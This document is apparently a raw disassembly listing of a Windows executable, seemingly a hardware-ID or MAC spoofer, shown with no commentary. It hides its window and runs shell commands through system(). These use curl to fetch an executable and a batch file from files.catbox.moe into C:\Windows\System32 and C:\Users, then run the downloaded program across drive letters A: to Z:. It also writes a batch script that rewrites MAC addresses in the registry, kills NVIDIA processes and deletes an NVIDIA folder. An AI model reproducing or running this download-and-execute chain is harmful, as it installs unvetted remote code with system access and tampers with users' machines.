lea rcx, str.Virtualize_Machine
movss xmm0, dword [rax]
subss xmm0, xmm2
mulss xmm0, xmm14
movss dword [rbp + 0x1d0], xmm0
call fcn.14002f520
test al, al
je 0x14005f73c
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
cmp byte [0x1403793e9], r12b
mov dword [0x140379404], 3
je 0x14005c4f4
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.curl_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32_vdfjdisfudasu.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x140174660]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x140174690]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x1401746c0]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
call fcn.140048620
lea rcx, str.curl_https:__files.catbox.moe_5im0eb.cmd___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140042290
call fcn.140057e90
cmp byte [0x14037951d], r12b
je 0x14005d37f
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, str.C:WindowsSystem32checkit.bat
lea rcx, [rbp + 0x30]
call fcn.140031b30
mov r8d, 0x83e
lea rdx, str._shift__0_r_n_ECHO_OFF_r_ntitle__RANDOM__RANDOM__RANDOM__r_n_SETLOCAL_ENABLEDELAYEDEXPANSION_r_n_SETLOCAL_ENABLEEXTENSIONS_r_n_r_n_::Generate_and_implement_a_random_MAC_address_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_CALL_:MAC_r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_NetworkAddress__t_REG_SZ__d__MAC____f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Disable_power_saving_mode_for_network_adapters_r_n_FOR__F__tokens1____a_IN__wmic_nic_where_physicaladaptertrue_get_deviceid__findstr__0_9___DO___r_n_FOR___b_IN__0_00_000__DO___r_n_REG_QUERY_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__NUL_2_NUL__REG_ADD_HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002bE10318__b__a__v_PnPCapabilities__t_REG_DWORD__d_24__f__NUL_2_NUL_r_n___r_n___r_n_r_n_::Reset_NIC_adapters_so_the_new_MAC_address_is_implemented_and_the_power_saving_mode_is_disabled._r_n_FOR__F__tokens2_delims__skip2____a_IN___wmic_nic_where__netconnectionid_like_____get_netconnectionid_netconnectionstatus__format:csv___DO___r_n_netsh_interface_set_interface_name___a__disable__NUL_2_NUL_r_n_netsh_interface_set_interface_name___a__enable__NUL_2_NUL_r_n___r_n_r_n_GOTO_:EOF_r_n_:MAC_r_n_::Generates_semi_random_value_of_a_length_according_to_the__if__COUNT____line__minus_one__and_from_the_characters_in_the_GEN_variable_r_n_SET_COUNT0_r_n_SET_GENABCDEF0123456789_r_n_SET_GEN226AE_r_n_SET_MAC_r_n_:MACLOOP_r_n_SET__a_COUNT1_r_n_SET_RND_random__r_n_::__n__where_the_value_of_n_is_the_number_of_characters_in_the_GEN_variable_minus_one.__So_if_you_have_15_characters_in_GEN__set_the_number_as_14_r_n_SET__A_RNDRND__16_r_n_SET_RNDGEN_GEN:_RND__1__r_n_SET__A_RND2RND__4_r_n_SET_RNDGEN2_GEN2:_RND2__1__r_n_IF___COUNT____EQU__2___SET_MAC_MAC__RNDGEN2___ELSE__SET_MAC_MAC__RNDGEN___r_n_IF__COUNT___LEQ_11_GOTO_MACLOOP
lea rcx, [rbp + 0x30]
call fcn.1400482f0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, str.curl_https:__files.catbox.moe_xre5ck___output_C:WindowsSystem32_vdfjdisfudasu.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_A:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_B:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x140174660]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x140174690]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, [0x1401746c0]
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_F:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_G:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_H:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_I:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_J:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_K:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_L:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_M:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_N:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_O:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_P:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_Q:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_R:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_S:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_T:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_V:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_W:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_X:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_Y:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140048180
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.140048180
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_Z:_
lea rcx, [rbp - 0x60]
call fcn.140064e10
mov rdx, rax
lea r8, [0x140171e54]
lea rcx, [rbp + 0x30]
call fcn.1400650d0
mov r8, rbx
lea rcx, [rbp - 0x80]
mov rdx, rax
call fcn.140065140
mov rcx, rax
call fcn.140031ac0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
call fcn.140031ad0
lea rcx, [rbp + 0x30]
call fcn.140031ad0
lea rcx, [rbp - 0x60]
call fcn.140031ad0
lea rcx, [rbp - 0x40]
call fcn.140031ad0
lea rcx, [rbp - 0x20]
call fcn.140031ad0
lea rcx, str.C:WindowsSystem32checkit.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
